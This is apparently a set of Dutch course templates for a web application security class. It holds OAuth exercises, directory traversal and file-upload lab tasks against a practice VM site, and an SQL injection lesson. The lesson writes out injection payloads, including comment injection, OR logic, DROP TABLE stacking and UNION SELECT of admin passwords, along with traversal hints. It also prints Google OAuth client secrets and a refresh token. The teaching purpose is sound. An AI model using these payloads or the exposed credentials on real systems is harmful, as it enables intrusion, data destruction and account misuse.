<b>authorisatie code</b> terugkrijgen in plaats van een access token als je dat in een parameter aanzet. Deze kan je inwisselen |
||||||
|
voor een access token en een refresh token, een speciale token waarmee je nieuwe access tokens kan maken. Handig als je |
||||||
|
langer dan een uur van de API gebruik wil blijven maken. Met al die verschillende tokens gaan we oefenen in de opdrachten.</p> |
||||||
|
|
||||||
|
<h3>Opdrachten</h3> |
||||||
|
|
||||||
|
<p>Deze site heeft ook een API die te vinden is op: |
||||||
|
<a href="/api/hello" target="_blank">/api/hello</a>. Die mag je uiteraard alleen gebruiken als je een access token hebt, als je gewoon op de link klikt krijg |
||||||
|
je een lege 403 pagina (Forbidden). We gaan alle stappen doorlopen om te komen tot de almachtige access token waarmee we |
||||||
|
de API kunnen aanroepen.</p> |
||||||
|
|
||||||
|
<p>De eerste stap bij een OAuth provider is om een client aan te maken. Daarmee weet de server altijd wie het is die de API |
||||||
|
aanroep doet. Voor deze opdracht kan je die aanmaken op |
||||||
|
<a href="/o/applications/" target="_blank">deze pagina</a>. Maak je eigen applicatie met de volgende gegevens:</p> |
||||||
|
|
||||||
|
<ul> |
||||||
|
<li> |
||||||
|
<b>Name</b>: mag je zelf kiezen</li> |
||||||
|
<li> |
||||||
|
<b>Client id</b>: mag je zelf kiezen, maar moet wel uniek zijn</li> |
||||||
|
<li> |
||||||
|
<b>Client secret</b>: mag je zelf kiezen</li> |
||||||
|
<li> |
||||||
|
<b>Client type</b>: Confidential</li> |
||||||
|
<li> |
||||||
|
<b>Authorization grant type</b>: Implicit</li> |
||||||
|
<li> |
||||||
|
<b>Redirect uris</b>: http://example.com/ (mag ook een eigen URL zijn)</li> |
||||||
|
</ul> |
||||||
|
|
||||||
|
<figure> |
||||||
|
<img src="static/img/oauth_register.png" style="width: 50%"> |
||||||
|
</figure> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Wat is de client_id die je hebt geregistreerd?</span> |
||||||
|
{% include "points.html" with points=answers.answer_oauth_client_id.points max="5" %} |
||||||
|
<input class="question-input" name="answer_oauth_client_id" value="{{ answers.answer_oauth_client_id.string }}"></input> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p>Elke OAuth server heeft twee endpoints (lees: URL's): de authorisatie endpoint en de token endpoint. Hieronder zie je de |
||||||
|
endpoints van een aantal bekende servers:</p> |
||||||
|
|
||||||
|
<table border="1" cellpadding="4"> |
||||||
|
<tr> |
||||||
|
<th>Service</th> |
||||||
|
<th>Authorization endpoint</th> |
||||||
|
<th>Token endpoint</th> |
||||||
|
</tr> |
||||||
|
<tr> |
||||||
|
<td>Deze cursus</td> |
||||||
|
<td>http://websec.paulwagener.nl/o/authorize/</td> |
||||||
|
<td>http://websec.paulwagener.nl/o/token/</td> |
||||||
|
</tr> |
||||||
|
<tr> |
||||||
|
<td>GitHub</td> |
||||||
|
<td>https://github.com/login/oauth/authorize</td> |
||||||
|
<td>https://github.com/login/oauth/access_token</td> |
||||||
|
</tr> |
||||||
|
<tr> |
||||||
|
<td>Google</td> |
||||||
|
<td>https://accounts.google.com/o/oauth2/auth</td> |
||||||
|
<td>https://accounts.google.com/o/oauth2/token</td> |
||||||
|
</tr> |
||||||
|
<tr> |
||||||
|
<td>Facebook</td> |
||||||
|
<td>https://www.facebook.com/dialog/oauth</td> |
||||||
|
<td>https://graph.facebook.com/oauth/access_token</td> |
||||||
|
</tr> |
||||||
|
</table> |
||||||
|
|
||||||
|
<p>De authorisatie endpoint is de URL waar je de gebruiker heenstuurt om hem te laten inloggen op de website en om op 'Toestaan' |
||||||
|
te laten klikken. Deze site redirect daarna weer terug naar je eigen site / app met een speciale authorisatie code. De |
||||||
|
token endpoint is de OAuth API waar we al onze access tokens uit kunnen halen, maar dan hebben we wel eerst die authorisatie |
||||||
|
code nodig.</p> |
||||||
|
|
||||||
|
<p>Om te authoriseren hebben we de volgende URL parameters nodig: ( |
||||||
|
<a href="http://tools.ietf.org/html/rfc6749#section-4.1.1" target="_blank">documentatie</a>)</p> |
||||||
|
|
||||||
|
<ul> |
||||||
|
<li> |
||||||
|
<b>response_type</b>: "token" of "code". Met "token" krijg je direct een access token in de redirect URL. Handig als je |
||||||
|
de API maar 1x hoeft te gebruiken. Minder handig als je de API langer wilt blijven gebruiken, want access tokens blijven |
||||||
|
vaak niet langer dan een uur geldig. Dan moet je de gebruiker elk uur opnieuw laten inloggen. Met "code" krijg je een |
||||||
|
authorisatie code die je kan inwisselen voor een speciale refresh_token, daar kan je tot in de oneindigheid nieuwe access |
||||||
|
tokens mee maken. |
||||||
|
<i>Voor deze opdracht gebruiken we "token"</i>.</li> |
||||||
|
<li> |
||||||
|
<b>client_id</b>: Jouw gekozen client id</li> |
||||||
|
<li> |
||||||
|
<b>redirect_uri</b>: optioneel, en eigenlijk ook redundant. Want die geef je ook vaak op als je je registreert als client |
||||||
|
bij de provider. Als de gebruiker op 'Toestaan' heeft geklikt wordt hij naar deze URL teruggestuurt met de authorisatie |
||||||
|
code of access token</li> |
||||||
|
<li> |
||||||
|
<b>scope</b>: optioneel, kan je mee aangeven welke gedeeltes van de API je wilt kunnen gebruiken</li> |
||||||
|
<li> |
||||||
|
<b>state</b>: optioneel, een string die je kan meegeven die ook weer wordt teruggestuurd als de gebruiker wordt terug geredirect. |
||||||
|
Kan handig zijn.</li> |
||||||
|
</ul> |
||||||
|
|
||||||
|
<p>Voor deze site is de authorisatie URL: |
||||||
|
<br> |
||||||
|
<span class="url">http://websec.paulwagener.nl/o/authorize/?client_id=(CLIENT_ID)&response_type=token</span> |
||||||
|
</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Authoriseer met je eigen client id. Welke access token heb je gekregen?</span> |
||||||
|
{% include "points.html" with points=answers.answer_oauth_implicit_access_token.points max="5" %} |
||||||
|
<input class="question-input" name="answer_oauth_implicit_access_token" value="{{ answers.answer_oauth_implicit_access_token.string }}"></input> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Let je wel op dat er een slash staat achter |
||||||
|
<code>authorize</code> in de URL?</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Hoeveel seconden is deze token code geldig?</span> |
||||||
|
{% include "points.html" with points=answers.answer_oauth_implicit_access_token_expires.points max="5" %} |
||||||
|
<input class="question-input" name="answer_oauth_implicit_access_token_expires" value="{{ answers.answer_oauth_implicit_access_token_expires.string }}"></input> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p>De access token kan je nu gebruiken om een request te doen naar |
||||||
|
<a href="/api/hello" target="_blank">/api/hello</a>. De token geef je mee door de volgende HTTP header mee te sturen:</p> |
||||||
|
|
||||||
|
<code class="pre">Authorization: Bearer nW8JkemabiKpxvD1Yen3FCcWM3k7vr</code> |
||||||
|
|
||||||
|
<p>Uiteraard moet je je eigen access token dan gebruiken. Er zijn vele tools waarmee je HTTP requests mee kan maken met je eigen |
||||||
|
headers en data. In de screenshots gebruiken we |
||||||
|
<a href="https://chrome.google.com/webstore/detail/postman-rest-client-packa/fhbjgbiflinjbdggehcddcbncdddomop" target="_blank">Postman</a>.</p> |
||||||
|
|
||||||
|
<img src="static/img/oauth_call_api.png" class="center-block screenshot" style="width: 80%; margin-top: 20px"> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Wat is de geheime code die gestuurd wordt als je de API aanroept?</span> |
||||||
|
{% include "points.html" with points=answers.answer_oauth_api_hello.points max="10" %} |
||||||
|
<input class="question-input" name="answer_oauth_api_hello" value="{{ answers.answer_oauth_api_hello.string }}"></input> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Let op dat je de Authorization data als |
||||||
|
<i>header</i> meestuurt. Via de POST form-data of als URL parameter gaat niet werken!</p> |
||||||
|
|
||||||
|
|
||||||
|
<h3>Web applicaties</h3> |
||||||
|
|
||||||
|
<p>Wat doen we als de token verloopt en je nog steeds de API wil gebruiken? Je kan natuurlijk de gebruiker opnieuw naar de authorisatie |
||||||
|
URL sturen voor een nieuwe access token. Maar als jouw web applicatie dagelijks de gebruiker meerdere keren per dag redirect |
||||||
|
om op 'Geef toestemming' te klikken wordt die daar helemaal gek van.</p> |
||||||
|
|
||||||
|
<p>OAuth heeft hier de zogenaamde refresh tokens voor verzonnen. Dit is een uitgebreidere manier om access tokens te krijgen |
||||||
|
en is meer geschikt voor webapplicaties. We moeten wel helemaal terug naar het begin en alle stappen net iets anders doen:</p> |
||||||
|
|
||||||
|
<ol> |
||||||
|
<li>Ga naar |
||||||
|
<a href="/o/applications/" target="_blank">/o/applications/</a> en verander jouw applicatie zodat deze nu als |
||||||
|
<b>Authorization grant type</b> de waarde |
||||||
|
<b>Authorization code</b> heeft. |
||||||
|
<br> |
||||||
|
<img src="static/img/oauth_set_grant_type.png" class="screenshot" style="width: 40%"> |
||||||
|
</li> |
||||||
|
|
||||||
|
<li>Ga opnieuw naar dezelfde authorisatie URL van vorige keer, maar nu met |
||||||
|
<b>response_type=code</b> in plaats van response_type=token</li> |
||||||
|
|
||||||
|
<li>Je wordt nu teruggestuurd met een zogenaamde authorisatie code</li> |
||||||
|
</ol> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Welke authorisatie code heb je gekregen?</span> |
||||||
|
{% include "points.html" with points=answers.answer_oauth_authorization_code.points max="5" %} |
||||||
|
<input class="question-input" name="answer_oauth_authorization_code" value="{{ answers.answer_oauth_authorization_code.string }}"></input> |
||||||
|
</div> |
||||||
|
|
||||||
|
<img src="static/img/oauth_authorization_code.png" style="width: 25%; float: right"> |
||||||
|
|
||||||
|
|
||||||
|
<p>Deze authorisatie code is nog geen access token op zich, maar kan een webapplicatie wel inwisselen voor een access token. |
||||||
|
Dit doet het door een POST request te doen naar de token endpoint. We moeten daarvoor de volgende parameters meesturen:</p> |
||||||
|
|
||||||
|
<ul> |
||||||
|
<li> |
||||||
|
<b>grant_type</b>: Moet de waarde "authorization_code" hebben.</li> |
||||||
|
<li> |
||||||
|
<b>code</b>: De authorisatie code die we hebben gekregen van de authorisatie endpoint.</li> |
||||||
|
<li> |
||||||
|
<b>redirect_uri</b>: Dezelfde URL die we eerder als redirect_uri hebben gebruikt.</li> |
||||||
|
<li> |
||||||
|
<b>client_id</b>: De client id die je hebt verzonnen</li> |
||||||
|
<li> |
||||||
|
<b>client_secret</b>: De client secret die je hebt verzonnen</li> |
||||||
|
</ul> |
||||||
|
|
||||||
|
<p>Doe er niet te lang over, authorisatie codes verlopen vaak al na enkele minuten. Als je het goed doet krijg je een response |
||||||
|
met daarin de refresh_token (en een gratis access_token!). Als je een |
||||||
|
<code>invalid_grant</code> error krijgt betekent dat dat jouw code verlopen is en dat je een nieuwe moet aanvragen. Als je een |
||||||
|
<code>invalid_client</code> error krijgt moet je goed controleren of je redirect_uri, client_id en client_secret allemaal goed staan ingesteld. En |
||||||
|
als je een |
||||||
|
<code>access_denied</code> krijgt moet je nog een keer heel goed controleren of je redirect_uri echt |
||||||
|
<i>exact</i> hetzelfde is als toen je je app hebt geregistreerd.</code>. Krijg je een andere error? Controleer dan nog een |
||||||
|
keer extra goed of de URL eindigt op |
||||||
|
<code>/token/</code> (die laatste slash is belangrijk!) en dat je alle data verstuurd als form data via POST.</p> |
||||||
|
|
||||||
|
<img src="static/img/oauth_exchange_auth_code.png" class="screenshot" style="margin: 20px; width: 80%; margin-left: auto; margin-right: auto;"> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Copy paste de response die je hebt gekregen waar de refresh token in staat</span> |
||||||
|
{% include "points.html" with points=answers.answer_oauth_refresh_token.points max="5" %} |
||||||
|
<textarea class="question-input" name="answer_oauth_refresh_token">{{ answers.answer_oauth_refresh_token.string }}</textarea> |
||||||
|
</div> |
||||||
|
|
||||||
|
<img src="static/img/oauth_refresh_token.png" style="float: right; width: 25%"> |
||||||
|
<p>Gefeliciteerd, je hebt nu een refresh token! Een oneindige bron van nieuwe access tokens. Je vraagt je bijna af waarom OAuth |
||||||
|
uberhaupt de moeite doet om een authorisatie code te hebben als die toch maar zo kort gebruikt wordt. De reden hiervoor |
||||||
|
is dat dit mechanisme ervoor zorgt dat alleen de webapplicatie de refresh en access tokens kan ophalen, en niet de gebruiker. |
||||||
|
Zonder de juiste client_secret kan de gebruiker namelijk helemaal niets met de authorisatie code.</p> |
||||||
|
|
||||||
|
<p>We schakelen voor het gebruik van de refresh token even over naar een hele andere site</p> |
||||||
|
|
||||||
|
<h3>Google</h3> |
||||||
|
|
||||||
|
<p>Bij Google hebben we een OAuth client geregistreerd en de volgende gegevens gekregen:</p> |
||||||
|
|
||||||
|
<code style="display: block;"> |
||||||
|
Client id: 799427728270-ahr6bg713mtkh2htskbmqko8hpheq1md.apps.googleusercontent.com<br> |
||||||
|
Client secret: 3W9FcQefBmhX7CT1FgzqiCdR<br> |
||||||
|
Refresh token: 1/WfdEEjWgj5Lm8p6wZzoTCeirQz7e4hMDIxvOkdvSjsU<br></code> |
||||||
|
|
||||||
|
<p>Met deze gegevens kunnen we weer een POST doen naar de token endpoint (voor Google: https://accounts.google.com/o/oauth2/token) |
||||||
|
om een access token te genereren. Dit keer hoeven we geen redirect_uri mee te sturen en moeten we de grant_type parameter |
||||||
|
op 'refresh_token' zetten:</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Deze keer geen slash achteraan de token URL endpoint, goed opletten!</p> |
||||||
|
|
||||||
|
<img src="static/img/oauth_google_refresh.png" class="screenshot" style="width: 70%; margin: 20px; display: block"> |
||||||
|
|
||||||
|
<p>Gebruik de access token die je krijgt om een API call te doen naar |
||||||
|
<span class="url">https://www.googleapis.com/calendar/v3/calendars/websecpaulwagener@gmail.com/events</span>. Vergeet niet weer de juiste |
||||||
|
Authorization header te gebruiken om je access token in te zetten! Als je het goed doet krijg je alle events uit onze Google |
||||||
|
Calender te zien in JSON formaat.</p> |
||||||
|
|
||||||
|
<img src="static/img/oauth_google_call_api.png" class="screenshot" style="width: 70%; margin: 20px; display: block"> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Wat is de code die in de Geheime afspraak staat? </span> |
||||||
|
{% include "points.html" with points=answers.answer_oauth_calendar_secret_code.points max="10" %} |
||||||
|
<input class="question-input" name="answer_oauth_calendar_secret_code" value="{{ answers.answer_oauth_calendar_secret_code.string }}"></input> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p>Genoeg tutorial, tijd voor het echte werk! We gaan handmatig het hele OAuth proces doorlopen voor een Google API. Dat mag |
||||||
|
weer de |
||||||
|
<a href="https://developers.google.com/google-apps/calendar/v3/reference/events/list" target="_blank">Google Calendar API</a> zijn maar dan voor je eigen Google Calendar. Maar je mag ook een |
||||||
|
<a href="https://developers.google.com/apis-explorer/" target="_blank">andere API</a> kiezen zoals |
||||||
|
<a href="https://developers.google.com/gmail/api/" target="_blank">Gmail</a> of |
||||||
|
<a href="https://developers.google.com/drive/v2/reference/" target="_blank">Google Drive</a>.</p> |
||||||
|
|
||||||
|
<p>Details over Google OAuth 2.0 kan je vinden op |
||||||
|
<a href="https://developers.google.com/identity/protocols/OAuth2" target="_blank">deze pagina</a>. Let op dat je API's eerst moet activeren in de |
||||||
|
<a href="http://console.developers.google.com/" target="_blank">Developer Console</a>. Dat is ook de plek waar je je Client ID en Client secret krijgt, die maak je aan onder APIs & |
||||||
|
auth > Credentials. Maak een nieuwe client aan voor een standaard web applicatie.</p> |
||||||
|
|
||||||
|
<p>Gebruik de authorisatie URL zoals die |
||||||
|
<a href="https://developers.google.com/identity/protocols/OAuth2WebServer#formingtheurl" target="_blank">hier</a> staat gedocumenteerd.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint: </strong>Vergeet niet de juiste scope te gebruiken zodat de gebruiker ook echt toestemming kan geven voor een bepaalde |
||||||
|
API. Bij Google zijn de scopes meestal URL's. Voor Google Calendar kan je de scope bijvoorbeeld |
||||||
|
<a href="https://developers.google.com/google-apps/calendar/auth">hier</a> vinden</p> |
||||||
|
|
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Beschrijf de HTTP requests die je hebt gemaakt om de token te krijgen EN de API te gebruiken (en ook de uitkomst van die |
||||||
|
requests). Gevoelige data mag je met ***** censureren.</span> |
||||||
|
{% include "points.html" with points=answers.answer_oauth_google_requests.points max="15" %} |
||||||
|
<textarea class="question-input" name="answer_oauth_google_requests" style="height: 200px">{{ answers.answer_oauth_google_requests.string }}</textarea> |
||||||
|
</div> |
||||||
|
|
||||||
|
<h3>Mini webapp</h3> |
||||||
|
|
||||||
|
<p>Maak een kleine webapplicatie in PHP of JavaScript waarmee je de requests uit de vorige opdracht automatisch uitvoert (je |
||||||
|
mag ook een OAuth framework gebruiken)</p> |
||||||
|
|
||||||
|
<img src="static/img/webapp1.png" class="screenshot" style="width: 40%"> |
||||||
|
<img src="static/img/webapp2.png" class="screenshot" style="width: 40%"> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Plak de broncode van je webapplicatie in het tekstvak</span> |
||||||
|
{% include "points.html" with points=answers.answer_oauth_web_app.points max="20" %} |
||||||
|
<textarea class="question-input" name="answer_oauth_web_app" style="height: 200px">{{ answers.answer_oauth_web_app.string }}</textarea> |
||||||
|
</div> |
||||||
|
|
||||||
|
{% endblock %} |
@ -0,0 +1,78 @@ |
|||||||
|
<h1>Insecure Direct Object References</h1> |
||||||
|
|
||||||
|
<img src="/static/img/imgr.png"> |
||||||
|
|
||||||
|
<h2>Image site</h2> |
||||||
|
|
||||||
|
<p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database |
||||||
|
dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p> |
||||||
|
|
||||||
|
<p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit |
||||||
|
wat de inhoud van dit bestandje is.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<h2>Image 2</h2> |
||||||
|
<p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver |
||||||
|
bereikbaar is. De plaatjes worden nu via een speciaal image.php ( |
||||||
|
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p> |
||||||
|
|
||||||
|
<p class="hint">Met een paar extra |
||||||
|
<code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p>Verander image.php in image_check_prefix.php ( |
||||||
|
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p>Verander de bestandsnaam in image_remove_traversal.php ( |
||||||
|
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de |
||||||
|
URL kan gebruiken.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de |
||||||
|
URL filterde?</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<img src="/static/img/parent_dir.png" class="center-block"> |
||||||
|
|
||||||
|
<h2>Image 3</h2> |
||||||
|
|
||||||
|
<p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's ( |
||||||
|
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met |
||||||
|
<code>include()</code> ziet er interessant uit...</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span> |
||||||
|
</div> |
@ -0,0 +1,7 @@ |
|||||||
|
<div class="points"> |
||||||
|
{% if points != None %} |
||||||
|
<i>{{ points }} van de {{ max }} punten</i> |
||||||
|
{% else %} |
||||||
|
<span class="question-points">{{ max }}</span> punten |
||||||
|
{% endif %} |
||||||
|
</div> |
@ -0,0 +1,6 @@ |
|||||||
|
<h1>Upload hier je certificate signing request (.csr):</h1> |
||||||
|
<form enctype="multipart/form-data" method="POST"> |
||||||
|
{% csrf_token %} |
||||||
|
<input type="file" name="csr"> |
||||||
|
<input type="submit"> |
||||||
|
</form> |
@ -0,0 +1,222 @@ |
|||||||
|
<style> |
||||||
|
code i { |
||||||
|
color: blue; |
||||||
|
font-style: normal; |
||||||
|
font-weight: bold; |
||||||
|
} |
||||||
|
|
||||||
|
p code { |
||||||
|
padding: 0; |
||||||
|
margin: 2px; |
||||||
|
} |
||||||
|
</style> |
||||||
|
|
||||||
|
<h1>Web App Security</h1> |
||||||
|
|
||||||
|
<p>Welkom bij de cursus Web Application Security! Deze cursus gaan we ons richten op het hacken van websites. En met die zin |
||||||
|
komen we meteen bij een gouden regel:</p> |
||||||
|
|
||||||
|
<blockquote>Het hacken van websites zonder toestemming is |
||||||
|
<strong>niet</strong> toegestaan</blockquote> |
||||||
|
|
||||||
|
<p>Om de opdrachten te kunnen maken krijg je toestemming om de websites in de VM te mogen hacken ;). We gaan in verschillende |
||||||
|
manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens de workshop in de praktijk te brengen</p> |
||||||
|
|
||||||
|
<img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block"> |
||||||
|
|
||||||
|
<h1>SQL injection</h1> |
||||||
|
|
||||||
|
<p>We beginnen bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn |
||||||
|
er |
||||||
|
<a href="https://www.google.nl/webhp?#safe=off&tbm=nws&q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan |
||||||
|
we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p> |
||||||
|
|
||||||
|
<p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query |
||||||
|
die wordt uitgevoerd is bijvoorbeeld deze:</p> |
||||||
|
|
||||||
|
<code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code> |
||||||
|
|
||||||
|
<p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar |
||||||
|
als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p> |
||||||
|
|
||||||
|
<h5>Commentaar</h5> |
||||||
|
<p>Met |
||||||
|
<code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met |
||||||
|
<code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p> |
||||||
|
|
||||||
|
<code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code> |
||||||
|
|
||||||
|
<p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar. |
||||||
|
De query zal dus ook rijen teruggeven waar |
||||||
|
<i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen |
||||||
|
kopen :)</p> |
||||||
|
|
||||||
|
<h5>AND, OR</h5> |
||||||
|
|
||||||
|
<p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld |
||||||
|
de volgende query maken met de juiste invoer:</p> |
||||||
|
|
||||||
|
<code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code> |
||||||
|
|
||||||
|
<p>Deze query maakt weer het |
||||||
|
<i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het |
||||||
|
resultaat is altijd true (de haakjes worden als volgt geplaatst: |
||||||
|
<code>. OR ( . AND . )</code>).</p> |
||||||
|
|
||||||
|
<h5>Meerdere queries</h5> |
||||||
|
<p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk |
||||||
|
eens wat er gebeurt als de gebruiker deze invoer geeft:</p> |
||||||
|
|
||||||
|
<code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code> |
||||||
|
|
||||||
|
<p>Met |
||||||
|
<code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar |
||||||
|
willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat. |
||||||
|
Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p> |
||||||
|
|
||||||
|
<h5>UNION</h5> |
||||||
|
|
||||||
|
<p>We kunnen met behulp van de |
||||||
|
<a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p> |
||||||
|
|
||||||
|
<code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code> |
||||||
|
|
||||||
|
<p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries |
||||||
|
evenveel kolommen teruggeven.</p> |
||||||
|
|
||||||
|
<img src="/static/img/shield.png" style="float: right"> |
||||||
|
<h4>Countermeasures</h4> |
||||||
|
|
||||||
|
<p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je |
||||||
|
SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p> |
||||||
|
|
||||||
|
<h5>Stored procedures</h5> |
||||||
|
<p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat |
||||||
|
in plaats op de server is SQL injectie niet mogelijk</p> |
||||||
|
|
||||||
|
<h5>Prepared statements</h5> |
||||||
|
<p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die |
||||||
|
vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk. |
||||||
|
Lees |
||||||
|
<a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p> |
||||||
|
|
||||||
|
<h5>Escaping</h5> |
||||||
|
<p>Je kan ook alle invoer zelf escapen met functies zoals |
||||||
|
<a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen |
||||||
|
cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid |
||||||
|
op je website!</p> |
||||||
|
|
||||||
|
<p>Op |
||||||
|
<a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p> |
||||||
|
|
||||||
|
<img src="/static/img/sql_injectie.png" class="center-block"> |
||||||
|
|
||||||
|
<h2>Bank</h2> |
||||||
|
<p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op |
||||||
|
zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel |
||||||
|
geld Bob op zijn rekening heeft staan.</p> |
||||||
|
|
||||||
|
<p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom |
||||||
